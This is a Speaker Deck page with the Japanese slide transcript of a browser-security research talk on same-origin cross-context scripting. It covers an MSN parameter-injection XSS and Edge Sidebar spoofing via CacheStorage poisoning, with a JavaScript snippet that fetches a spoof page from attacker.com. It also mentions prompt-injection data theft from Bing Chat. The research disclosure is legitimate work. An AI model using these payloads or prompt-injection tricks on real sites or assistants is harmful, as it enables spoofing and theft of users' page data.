Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Same-Origin Cross-Context Scripting
Search
Jun Kokatsu
January 05, 2024
0
790
Same-Origin Cross-Context Scripting
Shibuya.XSS techtalk #12で登壇した際の資料です。
Jun Kokatsu
January 05, 2024
Tweet
Share
More Decks by Jun Kokatsu
See All by Jun Kokatsu
The world of Site Isolation and compromised renderer
shhnjk
1
2.5k
Site Isolationの話
shhnjk
5
1.8k
ブラウザセキュリティ機能は バイパスされる為にある
shhnjk
8
3.7k
Logically Bypassing Browser Security Boundaries
shhnjk
5
3.1k
Featured
See All Featured
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
159
15k
Typedesign – Prime Four
hannesfritz
39
2.4k
Helping Users Find Their Own Way: Creating Modern Search Experiences
danielanewman
29
2.2k
Stop Working from a Prison Cell
hatefulcrawdad
267
20k
Practical Tips for Bootstrapping Information Extraction Pipelines
honnibal
PRO
9
670
Templates, Plugins, & Blocks: Oh My! Creating the theme that thinks of everything
marktimemedia
26
2k
Imperfection Machines: The Place of Print at Facebook
scottboms
264
13k
The Cult of Friendly URLs
andyhume
78
6k
Code Review Best Practice
trishagee
64
17k
Optimizing for Happiness
mojombo
376
69k
What's new in Ruby 2.0
geeforr
342
31k
Gamification - CAS2011
davidbonilla
80
5k
Transcript
Same-Origin Cross-Context Scripting Jun Kokatsu
• @shhnjk • Googleでウェブセキュリティの仕事をしてます。 • 以前はMicrosoft Edgeのセキュリティチームにいました。
今日の話 • 最近、XSSを見つけたページとは別の同一オリジンページを悪用する場面に遭遇 する。 • windowオブジェクトの参照が出来ない場合にどのように同一オリジン内の別の ページでスクリプトを実行できるかという話。
MSNのXSS ocidパラメータがheadタグのdata-client-settings属性内のJSONに反映される。
MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar
MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar ↓ servicesEndpointsという値を上書きすることで 一部のページで任意の記事を表示することに成功。
MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar ↓ servicesEndpointsという値を上書きすることで 一部のページで任意の記事を表示することに成功。 ↓ XSS
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 • Sidebarにはアドレスバーがないので偽装出来たら面 白そう。
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 • Sidebarにはアドレスバーがないので偽装出来たら面 白そう。 • Sidebar内のwindowオブジェクトにアクセスする方法
はなさそう。
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 • Sidebarにはアドレスバーがないので偽装出来たら面 白そう。 • Sidebar内のwindowオブジェクトにアクセスする方法
はなさそう。 • Service Workerがインストールされている。
Edge Sidebarの偽装 Service WorkerがあるならCacheStorageを汚染してXSSからSidebar偽装まででき る。 caches.open('homepage-base-V1').then(async (cache) => { let
html = await fetch('https://attacker.com/spoof_page').then(r=>r.text()); let init = { headers: { 'Content-Type': 'text/html' } }; cache.put('/widgets/fullpage/gaming/widget?experiences=CasualGamesHub& sharedHeader=1', new Response(html, init)); });
https://youtu.be/HWk270-N-EA
Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。
Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。 Bing Chatはユーザーがアクセスしている ページ情報をedge://discover-chatに postMessageで取得している。
Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。 Bing Chatはユーザーがアクセスしている ページ情報をedge://discover-chatに postMessageで取得している。
edgeservices.bing.comにXSSがあれば 任意のページ情報を抜き取れる?
XSS発見! https://youtu.be/ar1-Re4OBNw
しかし… • localStorageやCookieを見てみたが、Sidebar内のBing ChatにXSSが出来そう なガジェットはみつからず😭 • Bing ChatはService WorkerやShared WorkerやBroadcast
Channelも使って いなかった。
Webアプリでもこの様な状況は起きるのか? COOPを設定しているサイトにフレームが埋め込まれている場合、そのフレーム内で のみ与えられる情報や権限がある場合に同じ状況が起こりうる。 vulnerable.example/XSSable vulnerable.example trusted.example COOP: same-origin <iframe src=//vulnerable.example
allow=geolocation>
今後SOPの概念が変わる可能性も? • 今まではXSSが出来ればそのオリジン内がアクセス出来るのどのような情報で もSOPの恩恵により取得できていた。 • しかしStorage PartitioningやThird-Party Cookieの廃止などで、オリジンの 持っている情報がコンテキストによって変化するようになる。 •
上記が実際にデフォルトになった場合、サイトによってはアラートを出すだけで は十分に悪用できるバグと判断されない可能性も。
最後に Bing ChatのPrompt Injectionを使ってページ情報を取得する猛者が登場。 https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/
Bing ChatのPrompt Injection • アラートばかり出していたら負けてしまうので、 Prompt Injectionを探してみた。 https://youtu.be/AM9OpuEPJIk
Questions? I can Google it for you 😊